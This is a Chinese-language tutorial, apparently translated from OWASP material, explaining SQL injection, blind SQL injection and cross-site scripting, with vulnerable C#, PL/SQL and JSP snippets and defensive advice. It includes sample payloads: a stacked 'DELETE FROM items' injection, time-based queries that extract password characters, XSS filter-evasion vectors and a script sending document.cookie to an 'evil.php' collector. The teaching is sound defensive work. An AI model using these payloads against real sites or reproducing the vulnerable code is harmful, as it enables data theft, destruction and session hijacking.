攻擊活動
SQL(結(jié)構(gòu)化查詢語言)注入
概述
一個SQL注入攻擊包含了從應(yīng)用客戶端的輸入數(shù)據(jù)中注入或嵌入的方式,一個成功的SQL注入利用可以從數(shù)據(jù)庫讀取敏感信息,修改數(shù)據(jù)庫數(shù)據(jù)(Insert/Update/Delete語句),對數(shù)據(jù)庫進行管理員權(quán)限操作(比如關(guān)閉數(shù)據(jù)庫管理系統(tǒng)),恢復數(shù)據(jù)庫管理系統(tǒng)上特定文件的內(nèi)容,并在某些情況下向操作系統(tǒng)發(fā)出命令。SQL注入攻擊是注入攻擊的一種類型,在這種攻擊中,SQL命令被嵌入到數(shù)據(jù)層面的輸入以執(zhí)行默認的SQL語句。
威脅建模
- SQL注入攻擊能讓攻擊者混淆身份,篡改已有數(shù)據(jù),造成空轉(zhuǎn)賬或改變賬戶余額的賬目混亂問題,能使系統(tǒng)全部數(shù)據(jù)暴露,損壞數(shù)據(jù)或者讓數(shù)據(jù)不可用,甚至變成數(shù)據(jù)庫的管理者。
- SQL注入在PHP和ASP應(yīng)用中非常普遍,因為老舊的功能接口很普遍。因為編程接口很自然地獲得,J2EE和ASP.NET 應(yīng)用存在SQL注入的可能性就少一些。
- SQL注入攻擊的后果嚴重性是由攻擊者的技術(shù)和想象力決定的,而且在小范圍內(nèi),深度對抗,比如低特權(quán)的數(shù)據(jù)庫連接等。通常來說,將SQL注入看作一個較高影響度的攻擊類型。
描述
SQL注入錯誤發(fā)生在:
- 數(shù)據(jù)從不信任源進入系統(tǒng)時
- 數(shù)據(jù)被用來構(gòu)造一個動態(tài)的SQL查詢語句
主要的影響是:
- 機密性:因為SQL數(shù)據(jù)庫通常保存著敏感數(shù)據(jù),所以降低機密性是SQL注入漏洞導致的高頻問題
- 身份認證:如果檢查用戶名和密碼的SQL命令太過簡單,那可能會出現(xiàn)不需要密碼權(quán)限就進入系統(tǒng)的問題
- 授權(quán):如果SQL數(shù)據(jù)庫保存著授權(quán)信息,那可能通過成功的利用SQL注入漏洞改變這一認證授權(quán)信息
- 完整性:正因為可能會讀取敏感信息,所以也可能會通過這一攻擊改變甚至刪除這一信息
風險因素
被攻擊的平臺:
- 數(shù)據(jù)庫語言:SQL
- 平臺:任何平臺(需要能與SQL數(shù)據(jù)庫交互)
SQL注入已經(jīng)成為使用數(shù)據(jù)庫的網(wǎng)站的普遍問題,這個缺陷很容易被發(fā)現(xiàn),也很容易被利用,而且,任何僅僅有很少用戶的網(wǎng)站或軟件包都可能會被攻擊。
本質(zhì)上來講,這個攻擊是由于將本不存在的元字符從控制臺放入數(shù)據(jù)輸入流中造成的,這個攻擊依賴于SQL語句在控制和數(shù)據(jù)域中沒有做區(qū)別。
示例
示例1
假如SQL語句:
select id, firstname, lastname from authors
加入提供的輸入:
Firstname: evil'ex
Lastname: Newman
查詢語句變成:
select id, firstname, lastname from authors where forename = 'evil'ex' and surname = 'newman'
數(shù)據(jù)庫可能會出現(xiàn)這樣的結(jié)果:
Incorrect syntax near il' as the database tried to execute evil.
一個Java語言的關(guān)于SQL語句的版本可以是這樣:
String firstname = req.getParameter("firstname");
String lastname = req.getParameter("lastname");
//FIXME: do your own validation to detect attacks
String query = "SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, firstname);
pstmt.setString(2, lastname);
try
{
ResultSet results = pstmt.execute();
}
示例2
下面的C#代碼動態(tài)地構(gòu)造和執(zhí)行一個匹配特殊名稱的SQL語句。該查詢將顯示的項目限制為所有者與當前驗證的用戶的用戶名相匹配的項目。
string userName = ctx.getAuthenticateUserName();
string query = "SELECT * FROM items WHERE owner = "'"
+userName +"' AND itemname = '" + ItemName.Text +"'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
這個查詢代碼意圖執(zhí)行的是下面語句:
SELECT * FROM items WHERE owner =
AND itemname = ;
然而,因為這個查詢動態(tài)地將固定的基本查詢字符串和用戶輸入字符串鏈接構(gòu)造的查詢語句,所以這個查詢僅僅在itemName不包含單引號時表現(xiàn)正確。如果一個攻擊者將用戶名輸入字符串變成"name' OR 'a'=a" ,那么這個查詢將成為下面這個樣子:
SELECT * FROM items WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a';
這個OR 'a'='a'
語句造成這個where
語句永遠是真,所以查詢邏輯上變成了下面這樣的簡單查詢:
SELECT * FROM items;
這個簡單的查詢允許攻擊者繞過查詢僅僅返回已經(jīng)身份認證的用戶的查詢;而這個查詢現(xiàn)在返回所有存儲在items
表中的數(shù)據(jù),而不論它們的擁有者是誰。
示例3
這個查詢測試不同的惡意代碼造成的在示例1中結(jié)構(gòu)化查詢和執(zhí)行的影響。如果一個攻擊者以name');DELETE FROM items;--
的字符串作為itemName
攻擊進入了系統(tǒng),那么查詢就變成了下面這兩個查詢:
SELECT * FROM items WHERE owner = 'hacker'
AND itemname = 'name';
DELETE FROM items;
--'
許多數(shù)據(jù)庫,包括微軟SQL Server 2000,允許多個以分號分割的SQL語句同時執(zhí)行,反而這個攻擊字符串會在不允許一次執(zhí)行多條語句的數(shù)據(jù)庫如Oracle等程序里出錯。許多數(shù)據(jù)庫會允許批處理執(zhí)行,這一類型的攻擊將使攻擊者執(zhí)行惡意命令損害數(shù)據(jù)庫。
注意到上面查詢語句最后的連字符(--),在許多數(shù)據(jù)庫里,連字符后面的語句被看做注釋而不執(zhí)行。在這個例子中,注釋把最后的單引號注視掉了。在不允許這樣注釋的數(shù)據(jù)庫服務(wù)軟件里,同樣的攻擊可以被執(zhí)行通過運用簡單的類似示例1的欺騙技巧。如果一個攻擊者輸入字符串name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a
,下面的三個合法語句將被創(chuàng)建:
SELECT * FROM items
WHERE owner = 'hacker'
AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';
一個傳統(tǒng)的預防SQL注入攻擊的方法是將之看作一個輸入合法性的問題,僅僅接收在白名單里的安全值,或者不接受在可能造成攻擊的黑名單里的數(shù)據(jù)輸入。白名單可以是很有效的強制腳本輸入驗證規(guī)則的方式,但參數(shù)化的SQL語句需要更少的維護,并能通過重視安全取得成果。對于最廣泛最普通的例子,黑名單則有許多不能顧及到的情況而更低效于防止SQL注入攻擊。例如,攻擊者可以:
- 對沒有引號的域關(guān)注
- 找到繞過需要確定的溢出元數(shù)據(jù)的方式
- 用存儲的程序來隱藏注入的元數(shù)據(jù)
手動將SQL查詢的輸入字符轉(zhuǎn)碼是有幫助的,但并不能使你的應(yīng)用從SQL注入攻擊中獲得安全。
另一個通常提起的解決SQL注入攻擊的方案是用存儲過程。盡管存儲過程也能防止一些類型的SQL注入攻擊,但還有一些不能防御。比如,下面的PL/SQL 過程就和第一個例子中的SQL注入攻擊是相同的漏洞:
procedure get_item(
item_cv IN OUT ItemCurTyp,
usr in varchar2,
item in varchar2)
is
open item_cv for 'SELECT * FROM items WHERE' ||
'owner = '"|| usr ||
'AND itemname = "' || item || "";
end get_item;
存儲過程典型地通過限制可能被以參數(shù)傳遞的SQL語句類型來預防SQL注入,然而,有許多繞過邊緣限制的許多有趣的SQL語句也可以繞過存儲過程。總之,存儲過程可以防止一些類型的SQL注入攻擊,但并不能保證你的應(yīng)用完全可以免受SQL注入的危害。
盲注SQL注入
概述
盲SQL(結(jié)構(gòu)化查詢語言)注入是SQL注入攻擊的一種,通過觀察數(shù)據(jù)庫查詢真或假的問題的響應(yīng)來決定攻擊行為。這一攻擊行為經(jīng)常導致web應(yīng)用報錯,但并沒有使漏洞代碼免受SQL注入的攻擊。
當一個攻擊者利用SQL注入漏洞時,一些web應(yīng)用會因為SQL查詢語句語法錯誤而報錯。盲注和基本的SQL注入其實本質(zhì)上一樣,唯一的不同是從數(shù)據(jù)庫返回的數(shù)據(jù)方式。當一個數(shù)據(jù)庫并不向web頁面輸出數(shù)據(jù)時,一個攻擊者不得不向數(shù)據(jù)庫詢問真或假的問題來偷取數(shù)據(jù)。這讓SQL注入攻擊更加麻煩,但并非不可能。
威脅建模
與SQL注入相同
風險因素
和SQL注入一樣
示例
一個攻擊者可能會變,但查詢語句卻答題時以下幾種方式:
基于內(nèi)容的盲注
運用簡單的頁面,根據(jù)給定的ID作為參數(shù)顯示一個文章,攻擊者可以進行幾組簡單測試來判斷頁面是否是存在SQL注入漏洞。示例URL:
http://newspaper.com/items.php?id=2
將向數(shù)據(jù)庫發(fā)送下面的查詢語句
SELECT title, description, body FROM items WHERE ID = 2
現(xiàn)在SQL查詢語句可以變成這樣:
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
如果web應(yīng)用存在SQL注入漏洞,那么可能不會返回任何數(shù)據(jù)。為了確定,攻擊者將注入一個將返回“真”的查詢語句:
http://newspaper.com/items.php?id=2 and 1=1
如果這次“真”的返回結(jié)果和上次“假”的返回結(jié)果不一樣,那么攻擊者就可以辨別查詢語句什么時候返回真,什么時候返回假了。一旦這被證實,唯一的限制將是被數(shù)據(jù)庫管理員設(shè)置的權(quán)限,不同的SQL語句,和攻擊者的想象力。
基于時間的盲注
這一類型的盲注取決于數(shù)據(jù)庫將停滯的短暫時間,然后才返回數(shù)據(jù),暗示了成功的SQL查詢執(zhí)行了。運用這一方法,攻擊者使用以下邏輯枚舉所需片段的每個字母:
- 如果第一個數(shù)據(jù)庫的名字第一個字母是'A',等待10秒
- 如果第一個數(shù)據(jù)庫的名字第一個字母是'B',等待10秒,等等。
微軟SQL Server數(shù)據(jù)庫:
http://www.site.com/vulnerable.php?id=1' waitfor delay '00:00:10' --
Mysql:
SELECT IF(expression, true, false)
用一些需要花費時間的操作,如BENCHMARK()
,如果表達正確這將延遲服務(wù)器的響應(yīng)。
BENCHMARK(5000000, ENCODE('MSG', 'by 5 seconds'))
將執(zhí)行ENCODE
函數(shù)5000000次。
取決于數(shù)據(jù)庫服務(wù)器的表現(xiàn)和加載速度,應(yīng)該值花費一點時間就可以完成這個操作。重要的事情是,從攻擊者的角度看,以一個極大的數(shù)量級來重復執(zhí)行函數(shù)BENCHMARK(),會導致數(shù)據(jù)庫響應(yīng)明顯延遲一些。
兩者合并的示例查詢:
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;
如果數(shù)據(jù)庫在很長時間后才響應(yīng),我們可能猜測第一個id是1的用戶密碼字符應(yīng)該是'2'
(CHAR(50) == '2')
運用這個方法對剩余字符進行處理,可能就會獲取整個數(shù)據(jù)庫里的密碼。這個方法甚至可以在攻擊者進行SQL注入時不改變頁面的內(nèi)容。
顯然,在這個例子中,表的名稱,和表中列的數(shù)量是指定的。然而,去猜測列數(shù)或者通過試驗或錯誤檢測的方法來猜測也是可能的。
除了MySQL的其他數(shù)據(jù)庫也有基于時間的函數(shù),可以允許用來進行基于基于時間的攻擊:
- 微軟SQL數(shù)據(jù)庫"WAIT FOR DELAY '0:0:10"
- PostgreSQL - pg_sleep()函數(shù)
手工進行SQL盲注攻擊會很費時,但有很多自動化實現(xiàn)這一過程的工具。其中一個就是SQLMap(http://sqlmap.org/)部分由OWASP授予程序開發(fā)。另一方面,這類工具對甚至很小的規(guī)則偏差都很敏感。包括: - 掃描其他網(wǎng)站集群,在時間并沒有同步時;
- 萬維網(wǎng)服務(wù)于論證獲得方法改變時,比如
from /index.php?ID=10 to /ID, 10
遠程數(shù)據(jù)庫識別
如果攻擊者能夠決定他的查詢返回真或假,那么他可能通過遠程數(shù)據(jù)庫管理系統(tǒng)的驗證。這將使整個攻擊變得更容易。如果基于時間的過程被用到,這一幫助將決定哪類數(shù)據(jù)庫被用。另一個流行的方法是調(diào)用將返回當前數(shù)據(jù)的函數(shù)。MySQL, MSSQL,和Oracle對此有不同的方法,典型的是now(), getdate(), sysdate()
跨站腳本攻擊(XSS)
概述
跨站腳本攻擊是一類注入攻擊,將惡意腳本注入到受信任的良好的站點。XSS攻擊出現(xiàn)在當攻擊者用web應(yīng)用傳播惡意代碼的時候 ,通常以面向不同終端用戶的瀏覽器邊緣代碼的方式存在。這種缺陷在web應(yīng)用接收用戶輸入而不驗證或者編碼就直接輸出的情況下出現(xiàn)在非常廣泛和普遍的地方。
一個攻擊者可以運用XSS技術(shù)將惡意代碼發(fā)送給無防備的用戶。而終端用戶的瀏覽器沒有辦法知道腳本是否值得信任,而直接執(zhí)行代碼。因為他認為腳本來源于可信任的源,惡意腳本可以獲取任何cookie,session的token,或者其他重要而敏感的存儲于瀏覽器和用戶站點的信息。這些腳本甚至能重寫頁面的HTML代碼。
描述
跨站腳本攻擊(XSS)發(fā)生在這些時候:
1. 數(shù)據(jù)來源渠道不可信,web請求更頻繁
2. 數(shù)據(jù)包含于動態(tài)內(nèi)容中,沒有經(jīng)過合法性驗證和惡意代碼檢測就發(fā)送給web用戶
這些發(fā)送給web瀏覽器的惡意內(nèi)容通常是JavaScript代碼的形式,但也可能會包含HTML,F(xiàn)lash等其他能被瀏覽器執(zhí)行的代碼。基于XSS的攻擊形式幾乎是無限制的,但通常包含傳送私有數(shù)據(jù),像cookies或session信息,給攻擊者,將受害者引向被攻擊者控制的web內(nèi)容,或者在漏洞網(wǎng)站的偽裝下在用戶機器上執(zhí)行其他惡意操作。
存儲型和反射型XSS攻擊
XSS攻擊通常被分為兩類:存儲型和反射型。第三種不太出名的XSS攻擊叫做:基于DOM的XSS。
存儲型XSS攻擊
存儲型XSS攻擊是指嵌入的代碼被永久存儲在目標服務(wù)器中,如數(shù)據(jù)庫,消息論壇,訪問日至,評論區(qū)等。受害者在請求存儲的信息時將惡意腳本從服務(wù)器取出,存儲型XSS有時也被叫做永久性或I類XSS。
反射型XSS攻擊
反射型XSS攻擊指的是注入的代碼被直接從web服務(wù)器里反射回的情況,像一個錯誤信息,搜索結(jié)果,或者其他包含部分或所有輸入數(shù)據(jù)的響應(yīng)結(jié)果。反射型XSS以其他方式傳遞給用戶:比如一個郵件信息,或者放在其他站點上。當用戶被欺騙去點擊這一惡意鏈接時,會提交一個特殊的精心制作的請求,或者僅僅導向一個惡意站點,然后惡意代碼就會被傳送到漏洞網(wǎng)站,把攻擊結(jié)果反射回用戶瀏覽器。瀏覽器然后執(zhí)行這些代碼,因為代碼來源于“受信任”的網(wǎng)站。反射型XSS有時也被稱為非持久型或者II類XSS。
其他XSS類型
除了存儲型和反射型XSS,另一種XSS,基于DOM的XSS在2005年由Amit Klein定義提出。OWASP在這一目錄下介紹這一類型XSS(https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting),這里面包含了所有的XSS種類,包括存儲型,反射型,服務(wù)端VS客戶端型,而基于DOM的XSS就是客戶端XSS的一類。
XSS攻擊影響
XSS的影響是相同的,無論是存儲型還是反射型(甚至或者基于DOM型的)。不同點只在于怎樣到達服務(wù)器。不要傻傻的去認為“只讀”或者“小冊子”型的站點是不會遭受XSS攻擊的。XSS可以通過多種方式來對用戶造成一些列問題。最嚴重的XSS攻擊包括用戶session cookie信息泄露,被攻擊者劫持甚至控制賬戶。其他惡意破壞行動比如用戶文件披露,木馬程序的安裝,網(wǎng)頁惡意重定向,展示信息的修改。一個XSS漏洞允許攻擊者修改發(fā)布信息或者新聞來影響公司股價甚至減少公眾信心。一個藥品網(wǎng)站上的XSS漏洞可能導致攻擊者修改藥品用量信息從而導致用藥過量的問題。更多此類信息可看這里(https://www.owasp.org/index.php/Content_Spoofing)
怎樣確定存在XSS漏洞
在web應(yīng)用中識別XSS缺陷并解決是比較困難的,最好的尋找缺陷的方式是進行代碼安全審查,并仔細搜索從HTTP請求中輸入并輸出的數(shù)據(jù)路徑。要知道有很多中HTML標簽可以用來傳播惡意JavaScript代碼。Nessus, Nikto,和其他一些工具可以掃描這些缺陷,但僅僅只是掃描個皮毛。如果網(wǎng)站的某一方面有漏洞,那么其他方面有漏洞的可能會很大。
如何保護自己
首選的防御XSS攻擊論述,可以看這里“OWASP XSS 防御細則”(https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
同時,將所有網(wǎng)站關(guān)閉HTTP跟蹤支持是非常關(guān)鍵的。攻擊者甚至可以在document.cookie
被禁用時通過Javascript獲取cookie.這一攻擊在用戶從論壇點擊鏈接從而發(fā)送惡意代碼開始,一個異步HTTP軌跡跟蹤就被觸發(fā)了,同時服務(wù)器的用戶cookie信息也會被跟蹤;然后收集的cookie信息將被攻擊者發(fā)送到另一個惡意服務(wù)器上,以使攻擊者發(fā)動session劫持攻擊。這些威脅可以簡單地通過關(guān)閉服務(wù)器的HTTP追蹤支持來避免。
變換多樣的XSS語法
XSS用Script作為屬性
XSS攻擊可能不會借助<script></script>標簽,其他標簽也可能導致XSS:
<body onload=alert('test1')>
或者其他類似onmouseover, onerror
的屬性
onmouseover
<b onmouseover=alert('Wufff!')>click me!</b>
onerror

XSS通過URI編碼包含腳本
如果我們需要逃避web應(yīng)用的過濾,我們可以利用編碼轉(zhuǎn)換,如:a=A(UTF-8)并將之用在IMG 標簽里:
<IMG SRC=jAvascript:alert('test2')>
有許多種不同的UTF-8編碼符號,可以給與我們更多的可能性。
XSS運用代碼編碼
我們可以把我們的腳本編碼成base64格式并將之放進META標簽里。通過這一方式我們完全摒棄alert()。更多的信息可以參考RFC 2397(https://tools.ietf.org/html/rfc2397)
<META HTTP-EQUIV="refresh"
CONTENT="o;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXBoPg">
這些等其他例子可以在這里找到:OWASP XSS Filter Evasion Cheat Sheet(https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet),這是真的交換的XSS語法攻擊的百科全書。
示例
跨站腳本攻擊可能發(fā)生在任何可能由惡意用戶上傳未經(jīng)審查和通過的代碼到信任網(wǎng)站上以至于合法用戶訪問的情境下。這一最常見的例子可以再提供基于web郵件列表樣式功能的公告板網(wǎng)站中找到。
示例1
下面的JSP代碼片段從一個HTTP請求中讀取一個員工ID,eid,然后將其現(xiàn)實給用戶:
<% String eid= request.getParameter('eid');%>
...
Employee ID:<%=eid%>
這個示例中的代碼在eid表示標準字母文本的情況下會正確執(zhí)行。如果eid的值包含了元字符或者源代碼,那么代碼將被web瀏覽器以HTTP響應(yīng)的方式執(zhí)行。
剛開始時,這可能并不會有多少漏洞。畢竟,為什么有人輸入一個URL就會使惡意代碼在自己的電腦里運行?真正的危險是一個攻擊者將創(chuàng)建惡意URL,然后用e-mail或者社會工程學方法欺騙受害者訪問指向這一URL的鏈接。當被攻擊者點擊鏈接時,他們就不知不覺得將惡意代碼通過漏洞網(wǎng)站下載到了自己的電腦里。這以利用機制被稱作反射型XSS。
示例2
下面的JSP代碼片段向數(shù)據(jù)庫查詢給定員工ID的響應(yīng)員工的姓名并打印出來:
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");}
%>
Employee Name: <%= name %>
如示例1一樣,這一代碼的函數(shù)是正常的當值是正常時,但它預防可能存在的危險沒有預防。又一次,這段代碼可以因為姓名的值是從數(shù)據(jù)庫讀取的而更安全,而數(shù)據(jù)庫的數(shù)據(jù)是由應(yīng)用管理的。然而,如果姓名值起源于用戶支持的數(shù)據(jù),那么數(shù)據(jù)庫可能會成為連接惡意內(nèi)容的導管。對存儲在數(shù)據(jù)庫里的數(shù)據(jù)沒有正確的輸入驗證,攻擊者就可以在用戶瀏覽器中執(zhí)行惡意命令。這種利用方式,被稱為存儲型XSS,是尤其陰險的,因為間接的數(shù)據(jù)存儲使得識別威脅和風險更難,也可能會增加攻擊影響的用戶數(shù)量。XSS最初是在網(wǎng)站給用戶留下的“留言板”的形式形成的。攻擊者把他們的JavaScript代碼添加進留言版內(nèi)容里,而后所有訪問這一留言板的用戶都會執(zhí)行這一惡意代碼。
正如示例展示的一樣,XSS漏洞是由包含沒有驗證的數(shù)據(jù)的HTTP請求造成的。有三種XSS影響用戶的方式:
- 正如示例1,數(shù)據(jù)由HTTP請求直接獲取并直接由HTTP響應(yīng)返回。反射型XSS攻擊發(fā)生在攻擊者使用戶在漏洞網(wǎng)站的web應(yīng)用里執(zhí)行惡意內(nèi)容,然后返回給用戶并被瀏覽器執(zhí)行時。最常見的發(fā)表惡意內(nèi)容的方式是將其放在URL參數(shù)里,公開發(fā)表或者通過郵件發(fā)送給受害者。這種方式構(gòu)造的URL是許多釣魚方式的核心,攻擊者欺騙受害者通過此URL訪問漏洞站點。在站點將攻擊者內(nèi)容呈獻給用戶的時候,惡意內(nèi)容就已經(jīng)執(zhí)行,并且向攻擊者收集了私密信息,如可能包含會話信息的cookies,從用戶的機器傳遞到攻擊者,或者造成其他危險活動。
- 正如示例2,應(yīng)用程序在數(shù)據(jù)庫里或其他數(shù)據(jù)倉庫里存儲危險數(shù)據(jù)。這些危險數(shù)據(jù)隨后會被讀取返回給應(yīng)用并在動態(tài)內(nèi)容里展現(xiàn)。存儲型XSS利用發(fā)生在攻擊者注入危險代碼到數(shù)據(jù)倉庫,而后被讀取并展現(xiàn)給動態(tài)內(nèi)容時。從攻擊者的角度來看,最初的適合注入惡意代碼的地方是顯示給許多用戶或者特定有興趣的用戶的區(qū)域。有趣的用戶往往在應(yīng)用中擁有較高的權(quán)限,或者可以操作對攻擊者很有價值的數(shù)據(jù)。如果這樣的用戶有一個執(zhí)行了惡意的代碼,那么攻擊者可能就會獲得應(yīng)用特權(quán)的操作或者取得屬于用戶的敏感信息。
- 數(shù)據(jù)庫或者其他數(shù)據(jù)存儲源外的應(yīng)用存儲著危險數(shù)據(jù),然后危險數(shù)據(jù)隨后被當作信任數(shù)據(jù)被取出到應(yīng)用中動態(tài)地展示。
攻擊示例
示例1:cookie獲取
如果應(yīng)用沒有驗證輸入數(shù)據(jù),攻擊者可以容易地從已認證用戶中偷取cookie。攻擊者需要做的僅僅是將以下代碼放在任何的post輸入框里。(例如:私人消息,信息白板,用戶檔案):
<SCRIPT type="text/javascript">
var adr='../evil.php?cakemonster='+escape(document.cookie);
</SCRIPT>
上面的代碼將轉(zhuǎn)移的cookie內(nèi)容(根據(jù)RFC,數(shù)據(jù)在通過HTTP協(xié)議的GET方法傳遞時必須轉(zhuǎn)義)以“cakemonster”的變量形式傳遞給evil.php。攻擊者然后檢測他的evil.php的結(jié)果(一個cookie獲取腳本通常會將cookie寫入一個文件)并運用。
錯誤頁示例
讓我們假設(shè)我們有一個錯誤頁面,它在用戶請求不存在的頁面時返回,一個典型的404錯誤頁面。我們可能運用下面的代碼作為示例,來通知用戶什么頁面丟失了:
<html>
<body>
<?php
print "Not Found:".urldecode($_SERVER["REQUEST_URL"]);
?>
</body>
</html>
讓我們看看它如何工作:
http://testsite.test/file_which_not_exist
我們得到的返回結(jié)果:
Not Found:/file_which_not_exist
現(xiàn)在我們將試著把我們的代碼封裝在此頁面內(nèi):
http://testsite.test/<script>alert("TEST");</script>
結(jié)果是:
Not Found: /(but with JavaScript code <script>alert("TEST");</script>)
我們成功地將代碼注入了,我們的XSS!什么意思?比如,我們可以利用這種方式來偷取用戶的會話cookie.